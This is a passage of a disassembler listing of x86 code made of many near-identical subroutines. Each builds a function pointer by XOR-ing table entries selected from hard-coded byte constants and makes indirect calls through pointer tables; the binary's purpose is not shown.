mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE1AF mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE1AF: ; CODE XREF: sub_4AE11E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE11E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE21B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAFCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 32h mov [ebp+var_2C], 60h mov [ebp+var_28], 0DDh mov [ebp+var_24], 51h mov [ebp+var_20], 0F8h mov [ebp+var_1C], 93h mov [ebp+var_18], 49h mov [ebp+var_14], 0EBh mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE2AC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE2AC: ; CODE XREF: sub_4AE21B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE21B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE318 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB00o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DCh mov [ebp+var_2C], 55h mov [ebp+var_28], 8Ah mov [ebp+var_24], 86h mov [ebp+var_20], 48h mov [ebp+var_1C], 65h mov [ebp+var_18], 0E1h mov [ebp+var_14], 2Ch mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE3A9 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE3A9: ; CODE XREF: sub_4AE318+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE415 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB04o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0ACh mov [ebp+var_2C], 79h mov [ebp+var_28], 0B5h mov [ebp+var_24], 0D0h mov [ebp+var_20], 4Ah mov [ebp+var_1C], 0C9h mov [ebp+var_18], 0F2h mov [ebp+var_14], 5Dh mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE4A5 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE4A5: ; CODE XREF: sub_4AE415+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE415 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE511 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB08o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 1Ah mov [ebp+var_2C], 75h mov [ebp+var_28], 0BFh mov [ebp+var_24], 0D6h mov [ebp+var_20], 64h mov [ebp+var_1C], 0F5h mov [ebp+var_18], 0D1h mov [ebp+var_14], 41h mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE5A2 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE5A2: ; CODE XREF: sub_4AE511+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE511 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE60E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB0Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 17h mov [ebp+var_2C], 36h mov [ebp+var_28], 84h mov [ebp+var_24], 7 mov [ebp+var_20], 55h mov [ebp+var_1C], 63h mov [ebp+var_18], 6 mov [ebp+var_14], 12h mov [ebp+var_10], 0Ah mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ah and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE69F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE69F: ; CODE XREF: sub_4AE60E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE60E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE70B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB10o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0C3h mov [ebp+var_2C], 8Ch mov [ebp+var_28], 0DEh mov [ebp+var_24], 0E3h mov [ebp+var_20], 0B8h mov [ebp+var_1C], 32h mov [ebp+var_18], 0CEh mov [ebp+var_14], 0EEh mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE79C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE79C: ; CODE XREF: sub_4AE70B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE70B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE808 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB14o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 44h mov [ebp+var_2C], 7Bh mov [ebp+var_28], 40h mov [ebp+var_24], 97h mov [ebp+var_20], 11h mov [ebp+var_1C], 47h mov [ebp+var_18], 0D5h mov [ebp+var_14], 2Ch mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE899 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE899: ; CODE XREF: sub_4AE808+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE905 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB18o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 38h mov [ebp+var_2C], 0AEh mov [ebp+var_28], 0BDh mov [ebp+var_24], 0AAh mov [ebp+var_20], 6Bh mov [ebp+var_1C], 0A7h mov [ebp+var_18], 8Ch mov [ebp+var_14], 0E6h mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE996 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE996: ; CODE XREF: sub_4AE905+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE905 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AEA02 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB1Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 88h mov [ebp+var_2C], 71h mov [ebp+var_28], 0D0h mov [ebp+var_24], 0CCh mov [ebp+var_20], 31h mov [ebp+var_1C], 0E5h mov [ebp+var_18], 45h mov [ebp+var_14], 16h mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AEA93 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AEA93: ; CODE XREF: sub_4AEA02+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AEA02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AEAFF proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB20o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Dh mov [ebp+var_2C], 70h mov [ebp+var_28], 4Eh mov [ebp+var_24], 0DCh mov [ebp+var_20], 0A8h mov [ebp+var_1C], 0A8h mov [ebp+var_18], 0E0h mov [ebp+var_14], 8Eh mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AEB90 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AEB90: ; CODE XREF: sub_4AEAFF+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AEAFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AEBFC proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB24o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Bh mov [ebp+var_2C], 53h mov [ebp+var_28], 0ABh mov [ebp+var_24], 58h mov [ebp+var_20], 0Bh mov [ebp+var_1C], 0DBh mov [ebp+var_18], 12h mov [ebp+var_14], 7Ah mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AEC8D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AEC8D: ; CODE XREF: sub_4AEBFC+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AEBFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AECF9 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB28o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Ah mov [ebp+var_2C], 0FBh mov [ebp+var_28], 0CEh mov [ebp+var_24], 87h mov [ebp+var_20], 2Eh mov [ebp+var_1C], 0D7h mov [ebp+var_18], 0DEh mov [ebp+var_14], 0D6h mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AED8A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AED8A: ; CODE XREF: sub_4AECF9+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AECF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AEDF6 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB2Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 